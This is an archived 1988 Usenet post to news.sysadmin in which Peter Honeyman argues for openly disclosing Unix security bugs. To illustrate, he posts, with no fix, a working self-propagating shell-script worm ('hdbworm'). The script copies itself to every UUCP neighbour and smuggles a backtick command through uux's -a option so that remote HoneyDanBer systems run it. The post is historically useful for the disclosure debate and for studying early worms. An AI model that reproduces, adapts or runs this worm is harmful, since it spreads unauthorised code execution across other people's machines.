Path: utzoo!utgpu!watmath!clyde!att!osu-cis!tut.cis.ohio-state.edu!mailrus!honey From: honey@mailrus.cc.umich.edu (peter honeyman) Newsgroups: news.sysadmin Subject: Re: who, me? Message-ID: <797@mailrus.cc.umich.edu> Date: 18 Nov 88 02:51:24 GMT References: <622@ccncsu.ColoState.EDU> Sender: usenet@mailrus.cc.umich.edu Reply-To: honey@citi.umich.edu (peter honeyman) Organization: Center for Information Technology Integration, Univ of Michigan Lines: 32 steved@longs.lance.colostate.edu objects to exposing the TIOCSTI bug to unfriendly eyes, expressing a concern that "a few more clues and a little imagination will yield potential disaster." this is one school of thought, and we saw the result of this attempt at hush-it-up-don't-say-a-word computer security. in particular, broken systems running sendmail learned the hard way that this policy has it's down side. there is another school of thought on this -- tell everyone you can as fast as you can. that's my alma mater. it was in the spirit of glasnost that i posted a working program that exploits the setpgrp bug. (credit rtm for first discovering it.) in that same vein, i offer the following honey danber "experiment." (sans fix! if you have this bug, go bug your vendor.) create /usr/spool/uucppublic/hdbworm as follows: #!/bin/sh PUBDIR=/usr/spool/uucppublic for i in `uuname|sort -u`; do uucp /usr/spool/uucppublic/hdbworm $i!/usr/spool/uucppublic uux -a "`sh /usr/spool/uucppublic/hdbworm;echo root`" $i!false done i told summit about this several years ago, specifying in no uncertain terms the gravity of the problem. it is quite possible that they applied the patch i sent them. even so, i don't recommend running hdbworm. peter